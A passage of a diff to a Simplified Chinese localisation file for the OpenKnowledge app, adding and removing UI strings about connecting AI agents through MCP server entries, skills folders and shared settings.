["仍然无法连接 ", ["displayName"], "。要再试一次吗?"],@@ -212,11 +212,13 @@"2YOwme": ["已重启——现在运行的是 v", ["appRuntime"], "。"],"2YZwPB": ["出链响应的结构与预期不符。"],"2Yt22K": ["隐藏原始版本"],+ "2gXnCO": ["全局 MCP 服务器"],"2hYmUH": ["[email protected]"],"2hpdRq": ["隐藏面板(", ["panelShortcutLabel"], ")"],"2j1kfc": ["请输入有效的 URL(例如 https://api.openai.com/v1)。"],"2jUGEP": ["公开统计技能安装量"],"2l293S": ["你可以从回收站中恢复此文件。"],+ "2lJAvH": [["label"], " 的终端行和桌面行共用同一套设置,因此移除它会同时断开两者。"],"2m_bmh": [["label"], "(", ["0"], ")"],"2myNzt": ["我们已经把它提交给团队,并附上了你的日志。"],"2n3oDU": ["按入链数量排序的项目级页面,最多 ", ["FULLSCREEN_HUB_LIMIT"], " 条结果。"],@@ -295,6 +297,7 @@"3l_cXP": ["愿意的话可以看看。我们收到的就是这个文件本身。"],"3m2GBo": ["正在搜索文档"],"3mFsc3": ["带上远程改动一起恢复"],+ "3n7lnE": ["此智能体在该设备上尚无此类文件。请先打开该智能体,然后重新检查。"],"3nICSW": ["向 <0>",["toolList"],@@ -323,6 +326,7 @@"49Mb7P": ["无法检查是否已安装 Slidev。返回此窗口重试。"],"4A3Yzu": ["代码块"],"4BITzH": ["错误:"],+ "4C2RCg": ["此设置与 ", ["peers"], " 共享。在此移除也会同时为 ", ["peers"], " 移除。"],"4CfgPM": ["项目文件夹已创建,但 git init 失败。请重试。"],"4E9jPa": ["创建你的第一个项目"],"4EZrJN": ["规则"],@@ -357,6 +361,7 @@"4niEzY": ["沙箱化的 HTML 嵌入——写下 HTML,实时查看渲染效果。"],"4nj6n8": ["/api/config 返回了 HTTP ", ["code"]],"4pDZ2N": ["已把“", ["0"], "”从其他所有位置移除——它的来源文件夹仍会加载"],+ "4sE6E9": ["无法检查哪些工具已连接。"],"4sKwf6": ["文件已存在"],"4sUdTJ": ["带主题的预览"],"4uNLmk": ["正在拉取"],@@ -379,6 +384,7 @@"5Ajb15": ["公式 <0>c = √(a² + b²)</0> 以行内形式渲染。"],"5AzM72": ["这项设置按电脑生效,不会与协作者共享。"],"5BlXTD": ["无法加载该版本的预览。你仍然可以在下方选择如何解决。"],+ "5CHuXn": [["0"], " 需要 ", ["1"], "。请同时关闭两者,或同时保持开启。"],"5ClEAu": ["用于跨文档归类的行内话题标签。"],"5D3Ior": ["隐藏文件夹"],"5F5HYj": ["领先 ", ["ahead"], " 个,落后 ", ["behind"], " 个"],@@ -397,6 +403,7 @@"5OqaJi": ["请输入项目名"],"5PHgV2": ["你也可以在终端中用 <0>ok bug-report</0> 创建一个。"],"5QGTaA": ["无法复制相对路径"],+ "5RiC8D": ["发现技能由所有 AI 工具统一管理。请从“设置”→“技能工作室”安装此技能。"],"5SwVv1": ["未安装"],"5Szq6N": ["这个端点忽略了你配置的向量维度。移除 <0>search.semantic.dimensions</0> 即可使用模型自己的维度。"@@ -537,6 +544,12 @@"7IsvrP": ["正在检查更新"],"7JtSLi": ["删除路径失败"],"7MSbAT": ["可用范围"],+ "7Ny8bV": [+ ["dependent"],+ " 需要 ",+ ["prerequisite"],+ ",但 OpenKnowledge 在该设备上找不到此智能体。"+ ],"7O7REc": ["无法恢复 ", ["0"], "。请重试。"],"7OhaRy": ["源码搜索"],"7Ongq0": ["把我的 AGENTS.md 文件精简到 4 万字符以内"],@@ -647,6 +660,7 @@"8uGMP8": ["隐藏的内容放在这里。"],"8vCZcs": ["打开文件失败。"],"8vETh9": ["显示"],+ "8wwkVu": ["OpenKnowledge 写入后此条目已更改。启用会将其替换。"],"8x6zk9": ["隐藏 ", ["0"], " 编辑器"],"9-lMCF": [["slot"], " 颜色 — ", ["0"]],"90-wKT": ["OpenKnowledge 查看了 ", ["subject"], " 的历史"],@@ -761,7 +775,6 @@"AYoYhU": ["更新失败:", ["0"]],"AaC-CE": ["空白板"],"AcK_r0": ["Claude CLI"],- "AczYxH": ["自定义 open-knowledge 条目——不由 OpenKnowledge 管理"],"AdcGcG": ["正在应用你的更改"],"AddR83": ["无法创建项目。请重试或换一个位置。"],"AeHuzT": ["# 每行一个模式。\n# 示例:\n# drafts/\n# *.draft.md\n# !keep.md"],@@ -784,6 +797,7 @@"AkA6DO": ["属于 ", ["0"], " 插件——只读;打开它可编辑一份副本"],"Al8HPP": ["对冲突 ", ["0"], " 采用当前版本"],"Am78jY": ["拖动 ", ["keyName"], " 以重新排序"],+ "ApNWRQ": ["从 ", ["0"], " 中移除 OpenKnowledge?"],"ApeA0n": ["已撤销 ", ["docName"], " 上的 ", ["dropCount"], " 次编辑"],"Aq-O0x": ["状态"],"AqnqMJ": ["API 密钥已设置"],@@ -809,6 +823,7 @@"BGtzlf": [["uploadFolderName"], " — 1 个文件"],"BH56dn": ["自定义显示文本"],"BKI4hX": ["在文件中查找"],+ "BMoSQy": ["此智能体不提供让 OpenKnowledge 代为设置的方式。请参考其设置指南中的手动步骤。"],"BOsvJ8": ["<0>ok</0> 在你稍后从“文件”菜单添加之前,无法在外部终端中运行。你的 AI 工具仍可正常使用。"],@@ -870,9 +885,7 @@"CU3AiE": ["正在切换分支"],"CUmCwI": ["在下方插入行"],"CWjM1r": ["直接位于 ", ["0"], "/ 中的文档"],- "CWzc2T": ["无论如何 <0>~/.ok/bin</0> 和 <1>~/.ok/env.sh</1> 都会保留——应用始终会维护它们。"],"CXDYfm": ["无法读取本项目的技能是否已安装。"],- "CXTwen": ["无法安全地编辑这个项目的配置"],"CXcveY": ["Open Knowledge 在包含 Markdown 的每个文件夹中维护一个名为 index.md 的导航文件,每个文件夹按类型列出该文件夹的文档并链接到其子文件夹。当您的文档发生更改时,它会重写这些文件,并且您自己编辑到其中的任何内容都会被替换。"],@@ -904,14 +917,17 @@"在 Git 项目中,Open Knowledge 会在仓库根目录的 .gitattributes 文件中添加一条限定范围的规则,以便合并并发的索引更改。"],"CxVk-w": ["对 ", ["address"], " 发表评论"],+ "CxnZP4": ["选择 OpenKnowledge 设置的内容。"],"Cz-K13": ["15 分钟"],"D-NlUC": ["跟随系统"],- "D-Oh1s": ["如何设置 ", ["0"], "(在浏览器中打开)"],"D-_B7l": ["已连接——该端点返回 ", ["0"], " 维向量。"],"D0CegO": ["存在同名的第二个技能——重命名它(或删除其一)以进行完整管理。"],"D12vtS": ["(游离状态)"],"D2emTw": ["发送你的反馈时出了点问题。请重试。"],"D4H2N6": ["移除 ", ["tag"]],+ "D4I0F9": [+ "选择哪些智能体显示在应用的智能体菜单中,并进行设置,让它们能够读取和更新你的文档。"+ ],"D7gKrd": ["OpenKnowledge 无法在 .ok/local/terminal 下写入启动设置,因为该文件夹未安全地包含在此项目中。请确认它是项目内的真实文件夹,而不是链接。Claude 将要求你批准 OpenKnowledge。"],@@ -987,6 +1003,7 @@"E1_c72": ["任务清单"],"E1tG2u": ["获取 Claude Code"],"E2Mv-X": ["复制源码"],+ "E35Meh": ["移除 ", ["rowLabel"]],"E4XYYH": ["为这个项目启用终端"],"E5WeIy": ["重新打开最近关闭的那个编辑器标签页。"],"E6lrpp": ["管理 OpenKnowledge 用来浏览和同步你的仓库的 GitHub 账户。"],@@ -994,7 +1011,9 @@"E91VZY": ["在新窗口中打开"],"E9bKSA": ["正在创建"],"E9gh86": ["你最多可以附加 ", ["MAX_ATTACHMENTS"], " 张图片。"],+ "EBP_hA": ["向此项目的智能体配置添加 OpenKnowledge MCP 条目。"],"EBVbtP": ["无法复制该项目"],+ "EDD3UL": ["未在此计算机上检测到"],"EDl9kS": ["订阅"],"EDm3wJ": ["正在加载差异渲染器"],"EEYbdt": ["发布"],@@ -1074,6 +1093,7 @@"EvPX7f": ["打开文件夹选择器,选择把仓库克隆到哪里。"],"EvXKHE": ["OpenKnowledge 搜索了知识库"],"Evq3lu": ["孤立页模式"],+ "Evsh6U": ["不会改动你的文档。"],"ExPiRQ": ["跳到 CodeMirror 的下一条检查诊断。"],"ExUzM4": ["技能“", ["0"], "”"],"F-1xhe": ["该项目的服务器所在分支与此窗口不一致,内容无法加载。"],@@ -1103,7 +1123,6 @@"FEqWFL": ["指导你的 AI 智能体在这里如何工作。"],"FEr96N": ["主题"],"FF7V5K": ["实际大小"],- "FK57sK": ["已修复 ", ["names"], " 的 MCP 集成"],"FKVmcC": ["本项目的设置。部分设置通过 git 与每位协作者共享;其余仅在这台电脑上生效。"],"FNTx6u": ["按语义搜索 \"", ["semanticSubmitQuery"], "\""],"FNsxBc": ["此线程中已可使用 Open Knowledge 工具。"],@@ -1177,6 +1196,12 @@"任何 .mdx 文件。该格式仅限 .md,因此扫描 .md 的阅读器永远不会打开它 - 如果存在同名的 .md,则会读取该文件。"],"GSYWCm": ["隐藏文档面板"],+ "GTvYzA": [+ ["dependent"],+ " 需要 ",+ ["prerequisite"],+ ",而 OpenKnowledge 无法为你设置它。其设置指南中有手动步骤。"+ ],"GU1Y4A": ["已请求仅本地,但未创建 git 仓库。等项目位于 git 仓库中后,可在“设置 → 同步与共享”中切换。"],@@ -1230,6 +1255,11 @@"H4doZt": ["同步已暂停。提交这些本地编辑以继续,或在终端中处理它们。"],"H86f9p": ["折叠"],"H8DVOJ": ["两边完全相同,", ["pick"], " 仍会读取它们。"],+ "H8tj8y": [+ "此设置与 ",+ ["peers"],+ " 共享,OpenKnowledge 无法在此处更改它。请先在 Skills Studio 中取消该文件夹的链接。"+ ],"HAkEqR": ["最近的文件"],"HAvHev": ["已关闭“", ["name"], "”的自动更新"],"HAvRAI": [["skillCount", "plural", { "other": ["技能"] }]],@@ -1242,7 +1272,6 @@"HPTPGr": ["为我的用户故事新建一个规格文件"],"HPaAxt": ["尚未安装 Slidev,因此 Slidev 操作保持隐藏。安装后请返回此窗口。"],"HSI88F": ["删除表格"],- "HTW0Zw": ["还差一步:在这个项目中运行 <0>claude</0>,并批准 OpenKnowledge 一次。"],"HZ7fEu": ["主题名称"],"HbcQYf": ["要把 ", ["display"], " 处的符号链接替换为技能的独立副本吗?其他内容不会移动。"],"HdS4Ft": ["无法恢复你上次打开的文档。"],@@ -1413,6 +1442,7 @@"KPW5WC": ["已移动模板"],"KQGZuq": ["如果已存在就复用,否则就新建。"],"KRJ6xh": ["还没有标签。继续输入即可新建一个。"],+ "KTxoDA": ["OpenKnowledge 无法识别此条目。启用后将替换它。"],"KUjOb9": ["运行中"],"KWL_Ih": ["博客文章"],"KX1MZR": ["你的仓库"],@@ -1442,6 +1472,7 @@"KsAPaB": ["这个分支已在以下位置检出:"],"KtACeE": ["默认:<0>", ["0"], "</0>"],"KujtjC": ["查找"],+ "Kuw5NN": ["如何设置 ", ["rowLabel"]],"KvwJv8": ["部分文件未列出:工作区的更改过多。"],"Kx881F": ["已恢复 ", ["0"], "。"],"L-rMC9": ["重置为默认值"],@@ -1492,7 +1523,6 @@"L_mqhg": ["(", ["0", "plural", { "other": ["#", " 次尝试"] }], ")"],"LaskKp": ["发送到对话(", ["0"], ")"],"Lbl6KA": ["无法从 ", ["0"], " 安装:", ["1"]],- "LbmLyU": ["无法安全地编辑这个工具的配置"],"LdABLa": ["无法打开 ", ["target"], "。请尝试手动打开。"],"LdKIHS": ["起草一份规格"],"LeGeTf": ["GitHub 上的 OpenKnowledge"],@@ -1513,6 +1543,7 @@"Lrsl_h": ["文件 ", ["identity"], " 不存在。转到引用位置。"],"LtI9AS": ["所有者"],"LtSYdi": ["在访达中显示"],+ "LtiJ5c": ["项目技能"],"LuoJWu": [["truncatedShownCount",@@ -1616,9 +1647,6 @@"NIWAux": ["#", ["tagDocsName"], " 下没有登记任何文档。"],"NJyQi_": ["分支 ", ["shareBranch"], " 在远程已不存在。"],"NKkZXl": ["初始化并打开"],- "NNJsn7": [- "还差一步:在 Cursor → Settings → Tools & MCP 中启用它(Cursor 默认关闭项目服务器,需要你手动开启)。"- ],"NOHyEE": ["重试推送"],"NORKZU": ["模式警告:", ["summary"]],"NQ8llq": ["添加项目"],@@ -1674,7 +1702,6 @@"O0Z2Xr": ["出链"],"O2UpM1": ["浏览"],"O3oNi5": ["电子邮件"],- "O4PnDd": ["AI 工具管理仅在 OpenKnowledge 桌面应用中可用。"],"O6H89R": ["已解决"],"O6yEPk": ["在你选择的文件夹中创建一个新的 OpenKnowledge 项目。"],"O7_W_a": ["用 AI 打开"],@@ -1735,7 +1762,6 @@"OlFVNr": ["就选中内容问 AI"],"Oo_WWc": ["没有找到页面"],"Oos8fo": ["复制命令"],- "OplnBG": ["这个版本不支持管理 AI 工具。"],"OqqecQ": ["30 秒"],"OsSaYm": ["克隆失败:", ["title"]],"OuQezS": ["继续此对话时生效"],@@ -1757,6 +1783,7 @@"P6gXB-": ["替换 ", ["keyName"]],"P6lAT3": ["目标文件夹:", ["linkTitle"], "。点击可打开总览。"],"P8AnMN": ["正在检查 Slidev"],+ "P9rQN2": [["label"], " 的终端行和桌面行共用同一套设置,因此连接其中一个会同时连接两者。"],"PB4upl": ["查找上一处匹配"],"PBQwGb": ["搜索文件、命令、项目和 AI 交接操作。在可视化编辑器中选中文本时,K 组合键会改为添加链接;P 组合键始终打开命令面板。"@@ -1838,6 +1865,7 @@"QDZbvN": [["diffDays"], " 天前"],"QGWzup": ["正在加载 OpenKnowledge 技能"],"QHCx0c": ["错误报告历史"],+ "QHcLEN": ["已连接"],"QIrBIx": ["展开全部文件"],"QIzioS": [["agentName"], " 不接受图像附件。"],"QKgePK": ["已将 ", ["editor"], " 对齐到源码(其字节已备份)"],@@ -1895,6 +1923,7 @@"RD6H9q": ["当文档更改时,Open Knowledge 会重写这些 index.md 文件,因此对它们的手动编辑将被替换。"],+ "RD8cCw": ["此版本无法管理智能体连接。"],"RDjuBN": ["设置"],"RDrXh4": ["配置用户、项目和集成相关的设置。"],"REkvLz": [@@ -1922,6 +1951,7 @@"RSqaSd": ["项目根目录"],"RVZJWQ": ["搜索项目…"],"RXEbZy": ["在应用内"],+ "RXYvxn": ["无法自动更改此选项。"],"RY6Bq1": ["打开共享的", ["targetNoun"]],"RZXTlY": ["自动修复(", ["count"], ")"],"R_U_A4": ["添加文件或文件夹模式,例如 guides/**/*"],@@ -1966,6 +1996,7 @@"S33tz3": ["未连接"],"S3qu11": ["那只是一次试用或一次性项目"],"S48xcO": ["待处理"],+ "S6SbxA": ["替换此文件中现有的 \"open-knowledge\" 条目。文件中的其他服务器保持不变。"],"S6eHlw": ["请先打开一个项目。"],"S6l5dv": ["无法开始创建新项目"],"S9Vnum": ["移除 ", ["patternText"]],@@ -2169,7 +2200,6 @@"构建并梳理你故事背后的世界。一个安放角色、地点、势力以及把它们串联起来的设定的地方,让细节在写作过程中始终自洽。"],"VFQXPl": ["开启后,把鼠标悬停在链接上会显示一张卡片,包含站点名称、页面标题和描述。"],- "VIwCaD": ["条目"],"VJaBca": ["选择技能文件夹"],"VL6VsE": ["采用当前"],"VM7H66": ["这是一个二进制文件,无法以文本形式显示。"],@@ -2230,6 +2260,7 @@"W9NSe0": ["正在检查链接"],"W9_Bub": ["本地改动与传入的同步内容重叠"],"WBNpt9": ["无法读取此主题(", ["0"], ")"],+ "WEYdDv": ["推荐"],"WFEbV1": ["在编辑器中标出常见的 markdown 问题。由 <0>markdownlint<1/></0> 提供支持。"],"WG3MZ4": ["已选择 ", ["0"], " 个技能"],"WGMoTY": ["有缺陷、崩溃,或者感觉不太稳定"],@@ -2299,17 +2330,19 @@"XBBZnv": ["链接目标“", ["shown"], "”未指向现有文档。"],"XBgr2S": ["复制进来"],"XDzAnp": ["在新标签页中打开"],- "XEfNPL": ["已安装 — 可在外部终端中使用 ok。取消勾选会将其移除;你的 AI 工具仍可正常使用。"],"XF1kgP": ["来自 ", ["source"], " 的内容均已是最新"],- "XFpEgc": [- "选择哪些智能体显示在应用的智能体菜单中,例如 Ask AI、Open with AI 和 + 新对话按钮。关闭某个智能体即可在所有菜单中隐藏它。"- ],"XGKy1z": ["无法显示图片"],"XH30C4": ["文档"],"XIltnd": ["这里已存在名为“", ["trimmed"], "”的技能"],"XJOV1Y": ["动态"],"XK5cbh": ["在 OpenKnowledge 的导航历史中前进。"],"XNBGZw": ["消息未发送:", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " 需要 ",+ ["prerequisite"],+ ",而此智能体在该设备上尚无此类文件。请先打开该智能体,然后重试。"+ ],"XPJ0sN": [["settingsDescriptorLabel"], " 属性"],"XPqe3B": ["新建标签 #", ["tagValue"]],"XRuL0i": ["创建页面"],@@ -2350,6 +2383,12 @@"Xp7Kq4": ["另一个同步操作正在进行中。请稍后再试。"],"Xp94R1": ["再试一次"],"XpIZmv": ["使用等宽字体的围栏代码块。"],+ "XrPvMT": [+ ["dependent"],+ " 需要 ",+ ["prerequisite"],+ ",而 OpenKnowledge 无法在此文件格式中安全地替换该条目。"+ ],"Xs1kjx": ["检查更新的频率"],"Xs7IcT": ["无法连接 ", ["displayName"], "。要重试吗?"],"XszXjc": ["已重命名为 ", ["0"]],@@ -2369,6 +2408,7 @@["pickedRelative"],"</1> 的上级目录,因为其中包含 <2>.git</2> 文件夹(每个 git 仓库一个 .ok/)。<3>内容目录</3>默认为 <4>.</4>(整个仓库);输入子文件夹可缩小范围。"],+ "Y1wa2r": ["移除 OpenKnowledge?"],"Y2tU6I": ["删除 ", ["0"]],"Y5la_5": ["安装到"],"Y6PKd1": ["把 ", ["name"], " 从最近的项目中移除"],@@ -2482,9 +2522,6 @@"ZWwYwM": ["基础分支"],"ZWxfrc": ["已清除文件夹属性"],"ZWyHmq": ["本项目"],- "ZYtq3m": [- "把你使用的 AI 工具连接到这个具体项目。这些文件保存在项目文件夹中,因此打开它的人都会得到相同的配置。"- ],"Z_nNa2": ["为主题命名"],"ZatAO_": ["开启链接预览失败——", ["detail"]],"Zf0w-R": [@@ -2519,7 +2556,6 @@["label"]," 将使用该副本而不是插件的版本——副本不再跟随插件更新。"],- "_5qBNl": ["AI 工具与 CLI"],"_6FVBz": ["跳到第 1-8 个标签页"],"_7UQ7y": ["全字匹配"],"_8quCH": ["来自模板"],@@ -2532,6 +2568,7 @@["currentLabel"],"</1> 上。"],+ "_9rYSZ": ["已修复 ", ["names"], " 的 MCP 集成"],"_Bix3-": [["localizedFirstMessage"], " 的出现位置"],"_DwR-n": ["正在创建…"],"_G7A92": ["维护index.md"],@@ -2543,7 +2580,6 @@"_JOGC0": ["发送反馈…"],"_LczaQ": ["已拒绝 — ", ["optionName"]],"_NWEid": ["按路径搜索架构文件"],- "_NX6gG": ["这个版本不支持管理项目的 AI 工具。"],"_O7dJS": ["这里的版本不同——点击可比较并解决"],"_PACVa": ["版本说明"],"_PBJRl": ["请至少加入一个字母或数字。"],@@ -2569,6 +2605,7 @@"_ci9Bj": ["服务器返回的文件夹响应不完整。"],"_eguJc": ["正在上传"],"_fQGOp": ["路径中不允许有空格"],+ "_fZSIY": ["OpenKnowledge 未修改此文件,因为无法安全地解析它。请手动修复该文件,然后重试。"],"_gO_m8": ["正在等待你的批准"],"_gkGSK": ["已删除模板"],"_pY_Vq": ["这个仓库被移动、重命名或删除了。"],@@ -2576,6 +2613,7 @@"_rP3HI": [["minutes"], " 分钟前"],"_tekeB": ["已更新文件夹属性"],"_tjopj": ["粘贴副本"],+ "_uxBz5": ["为 ", ["rowLabel"], " 添加 MCP 和技能"],"_yB-24": ["任意 ", ["0"], "/ 文件夹下的所有内容"],"a-cKXz": ["全选源码"],"a3LDKx": ["安全"],@@ -2677,6 +2715,7 @@"blFttG": ["搜索项目"],"bmC18N": ["正在重新连接前清除“", ["docName"], "”的本地协作数据。"],"bnOTEz": ["正在检索…"],+ "bn_MDX": ["为什么需要注意"],"bpMVIA": ["无法将链接目标“", ["shown"], "”解析为项目本地目标。"],"bpytj4": ["移动到 ", ["0"]],"brCtGB": ["历史记录不可用"],@@ -2786,6 +2825,7 @@"d3dX3w": ["查询“", ["word"], "”"],"d5rK4X": [["chars", "plural", { "other": ["字符"] }]],"d6qW27": [["agentName"], " 报告:", ["headline"]],+ "dCforW": ["写入此文件失败。请查看 OpenKnowledge 日志了解原因。"],"dD7NPy": ["大纲"],"dDpCOp": ["重命名成功,但侧边栏可能不是最新的——请刷新以重新同步"],"dEgA5A": ["取消"],@@ -2797,6 +2837,7 @@["currentBaseLabel"],"</1> 创建,位于 <2>.ok/worktrees/</2> 下自己的 worktree 中。"],+ "dGcsnU": ["移除两者"],"dIYSqk": ["远程"],"dJw2_7": ["与项目一起保存,供你的团队使用。"],"dMsx3p": ["首页兼导航中枢。"],@@ -2811,6 +2852,9 @@"dVaXnv": ["内容规则尚未加载——请稍后再试"],"dXCi3J": ["有东西坏了"],"dXOolp": ["正在同步你的更改"],+ "da7Yfw": [+ "这会删除下方列出的 MCP 服务器条目和技能文件。在重新添加之前,智能体将无法访问你的文档。"+ ],"darW93": [["pageCount",@@ -2885,6 +2929,7 @@],"eh3QBq": ["Excalidraw 画板加载失败。"],"eiUA4k": [["count", "plural", { "other": ["#", " 条评论"] }]],+ "ejiJeW": ["OpenKnowledge 发现技能"],"ekSPiP": [["0"], " 已经被删除了。"],"el2KyL": ["在此项目中找到 Slidev。幻灯片将使用项目的版本。"],"emMrXQ": ["服务器返回的副本响应格式错误。"],@@ -2898,6 +2943,7 @@"euc6Ns": ["创建副本"],"evs0iw": ["匹配 \"", ["tagListQuery"], "\" 的标签"],"ewSbS_": ["Shell 会话"],+ "ewlFNL": [["failures"], " 的 MCP 自动修复失败"],"ezUmoU": ["允许的元素值(留空 = 任意)"],"f-k37b": ["安装此技能"],"f1-q9m": ["保留这些技能"],@@ -2948,6 +2994,19 @@"fj5YiP": ["从 GitHub 下载一份全新的副本。"],"fnlBN4": ["自动批准设置尚未加载——请稍后再试"],"fo6CCk": ["窗格 ", ["0"]],+ "followup.approve-once": [+ "还差一步:在这个项目中运行 ",+ ["agent"],+ ",并批准 OpenKnowledge 一次。"+ ],+ "followup.enable-manually": [+ "还差一步:在 ",+ ["agent"],+ " → Settings → Tools & MCP 中启用它(",+ ["agent"],+ " 默认关闭项目服务器,需要你手动开启)。"+ ],+ "followup.trust-gated": ["下次你在受信任的 ", ["agent"], " 会话中打开这个项目时会自动连接。"],"fqSfXY": ["替换"],"ft-BOm": ["报告问题…"],"fuJZKk": ["搜索分支"],@@ -2955,12 +3014,20 @@"fwhX-N": ["增加或减少源码缩进"],"fwrPh4": ["请输入有效的邮箱。"],"fxbCNQ": ["已同步。链接是最新的。"],+ "fybwfg": [+ "此设置通过 <0>",+ ["path"],+ "</0> 与 ",+ ["peers"],+ " 共享。在此移除也会同时为 ",+ ["peers"],+ " 移除。"+ ],"g-dkjJ": ["本地文件详情尚不可用。"],"g12y1g": ["无效的 YAML"],"g1ZTh_": [["count", "plural", { "other": ["确定要删除以下 ", "#", " 个文件/文件夹及其内容吗?"] }]],- "g4WlQK": ["项目的 AI 工具管理仅在 OpenKnowledge 桌面应用中可用。"],"g4XBm0": ["小号章节标题。"],"g4e0hS": ["询问 ", ["agentName"]],"g58Kwy": [@@ -3012,6 +3079,7 @@"gfb-CM": ["无法获取分支——请登录 GitHub 后重试。"],"gfdqcY": ["无法应用该更改:", ["0"]],"gfohmY": ["连接工具"],+ "ggMMa7": ["项目 MCP 服务器"],"ggm6JX": ["这个页面还不存在。打开它即可在编辑器中创建该页面并折叠关系图。"],"ggs9f8": ["搜索文件、文件夹或命令"],"gh27t1": ["链接预览"],@@ -3028,6 +3096,41 @@"gpbKxw": ["链接验证不可用。"],"gqk-3R": ["已将 ", ["0"], " 移动到 ", ["destination"], "。"],"gtEbeW": ["高亮"],+ "guidance.mcp.managed-file": [+ "写入一个小的桥接文件,",+ ["agent"],+ " 会从这个项目加载它来连接 OpenKnowledge。"+ ],+ "guidance.mcp.project-config": [+ "把 OpenKnowledge 加入 ",+ ["agent"],+ " 在这个项目中读取的 MCP 配置,让它可以读取、搜索和编辑这些文档。"+ ],+ "guidance.mcp.session-injection": [+ "每次 OpenKnowledge 启动 ",+ ["agent"],+ " 时都会把 OpenKnowledge 的工具交给它;不会向它的配置写入任何内容。"+ ],+ "guidance.mcp.user-config": [+ "把 OpenKnowledge 加入 ",+ ["agent"],+ " 自己的 MCP 配置,这台机器上的每个项目都能访问。"+ ],+ "guidance.skill.central-store": [+ "把 OpenKnowledge 技能放进 ",+ ["agent"],+ " 读取的中央技能库。"+ ],+ "guidance.skill.project": [+ "把 OpenKnowledge 技能放进 ",+ ["agent"],+ " 在这个项目中的技能文件夹,让它的编辑保持署名。"+ ],+ "guidance.skill.user": [+ "把 OpenKnowledge 发现技能放进 ",+ ["agent"],+ " 的全局技能文件夹,让它在任何项目中都能找到 OpenKnowledge。"+ ],"gv5w9J": ["owner/repo、一个 git URL,或一个本地路径"],"gvApb7": ["把你读过的东西变成清晰可信的文章。保存来源,弄清它的含义,再留下最终版本,以便日后可以放心引用。"@@ -3040,6 +3143,14 @@"h06R3C": ["没有页面缺少出链。"],"h16FyT": ["列表"],"h2N-1n": ["已安装在 ", ["0"]],+ "h2QPvj": [+ ["dependent"],+ " 需要 ",+ ["prerequisite"],+ ",而 OpenKnowledge 无法识别该条目。勾选 ",+ ["prerequisite"],+ " 以替换它,然后重新保存。"+ ],"h3QZcB": ["名为 ", ["shareBranch"], " 的分支已存在。请从切换器中打开它的 worktree。"],"h69WC6": ["已发送"],"h7FzJC": ["链接关系图响应的结构与预期不符。"],@@ -3139,7 +3250,6 @@"iH8pgl": ["返回"],"iHAJDj": ["正在确定默认位置"],"iIaSUD": ["空白字符"],- "iKS6gg": ["技能已移至技能工作室。"],"iKSP5j": ["自动换行"],"iKZkk1": ["属性值"],"iKvAeG": ["正在检查"],@@ -3186,6 +3296,7 @@"ij-Elv": ["图像预览"],"ijLc3m": ["无序列表"],"ilodsp": ["让智能体无需询问即可使用 OpenKnowledge"],+ "inJhKB": ["替换并保存"],"ioMn4Z": ["从模板新建…"],"iodl3p": ["服务器返回的上传响应格式错误。"],"ipCibE": ["不允许空的文件夹名称(//)"],@@ -3199,6 +3310,7 @@"irnKr_": ["更新于 ", ["updatedRelative"]],"irrm_E": ["移除选区"],"isRobC": ["新建"],+ "itchkf": ["将智能体连接到本机所有项目中的 OpenKnowledge。"],"iuTKci": ["还没有编辑。"],"iv452l": [["0"], " 的文档(在浏览器中打开)"],"iycx_A": ["正在推送"],@@ -3353,6 +3465,7 @@"kfL8BJ": ["导入失败:", ["0"]],"kj9pAE": ["正在创建页面"],"kjlQ9D": ["变成符号链接"],+ "kjrq_8": ["更多信息"],"kknhfj": ["没有改动"],"kkux8f": ["无法删除 ", ["0"], "。请重试。"],"klPS-L": ["原始文件——这个智能体编辑之前的版本。"],@@ -3408,6 +3521,7 @@"l87Deg": ["选择新标签页启动的内容"],"l9s3IX": [["agentName"], " 无法开始对话。"],"lAiyU_": ["只有当前文档使用 <0>#", ["tag"], "</0>。"],+ "lBN3T6": ["智能体连接"],"lCC_D5": ["正在订阅…"],"lGs_bQ": ["页面 <0>*</0>"],"lHCR4I": ["清空该字段即可恢复为默认的 OpenAI 端点。"],@@ -3479,7 +3593,6 @@"mHVPm5": ["需要重新连接"],"mHf8mp": ["删除架构文件 ", ["file"]],"mHo0kp": ["启用 Open Knowledge 工具的请求已超时。此线程将在没有这些工具的情况下运行。"],- "mLAjyL": ["让你使用的 AI 工具能够读取和更新你的项目。勾选即刻生效;取消勾选则移除。"],"mPoOmg": ["请先在此处安装一个技能"],"mPy9lS": ["把我现有的规格整理成一个按领域分组的链接索引,并标出与当前代码脱节的部分。"],"mPzgTS": ["打开 ", ["docName"]],@@ -3495,6 +3608,7 @@"maDWIB": ["镜像来源 <0>api-spec</0>"],"makN88": ["还没有模式。在下方输入文件夹名或文件名,即可开始隐藏文件。"],"mdKFEy": ["你取消了“", ["docName"], "”的加载。"],+ "mdWhUY": ["OpenKnowledge 未在此设备上找到该智能体。"],"mdzKSV": [["nodeCount", "plural", { "other": ["#", " 个节点"] }]],"mf37rL": ["正在重试"],"mg0YGL": ["源码多光标与多选"],@@ -3534,6 +3648,7 @@"mwMF9u": ["在源码编辑器模式下打开 CodeMirror 搜索。"],"mxGJVE": ["切换 worktree…"],"mxY24F": ["当焦点在「文件」侧边栏时,为聚焦的文件树项目创建副本。"],+ "n11Jj7": ["为此智能体安装 OpenKnowledge 项目技能。"],"n2XqGH": ["编辑器窗格"],"n2lRue": ["提交或暂存改动后才能切换:"],"n3T3EE": ["已安装在 ", ["label"], "——点击可移除"],@@ -3549,7 +3664,6 @@],"n7aopT": ["编辑器模式"],"n81AV0": [["owner"], "/", ["name"], " 已存在。请换一个名称。"],- "n8DwqQ": ["下次你在受信任的 Codex 会话中打开这个项目时会自动连接。"],"nBHvPL": ["取消编辑"],"nBgzKO": ["把这里设为来源——技能的真实文件夹会移到这里"],"nCzR-G": ["复制验证码 ", ["userCode"]],@@ -3598,6 +3712,7 @@"nsM-_m": ["浏览数百个主题"],"nsUDL8": ["已选择 ", ["1"], " 个项目中的 ", ["0"], " 个"],"nskygk": ["选择智能体"],+ "nta97o": ["为智能体提供处理你文档的说明,并保留其编辑的归属记录。"],"nwtY4N": ["出了点问题"],"nxlOpL": ["OpenKnowledge 正在使用这个 GitHub 账户。"],"ny6vNn": [@@ -3657,6 +3772,7 @@"outYNy": ["名称重复 \"", ["keyName"], "\""],"ovIGrT": ["无法清除“", ["docName"], "”的本地协作数据。请重新加载后重试。"],"oxdGJn": ["在你离开之前,方便说说原因吗?"],+ "oxj8er": ["将智能体连接到此项目,使其可以读取、搜索和编辑你的文档。"],"oy5bJW": ["你可以添加"],"oyBV3W": ["自定义技能文件夹路径"],"p0Iq25": ["插入链接"],@@ -3730,7 +3846,6 @@["1"],"。SKILL.md 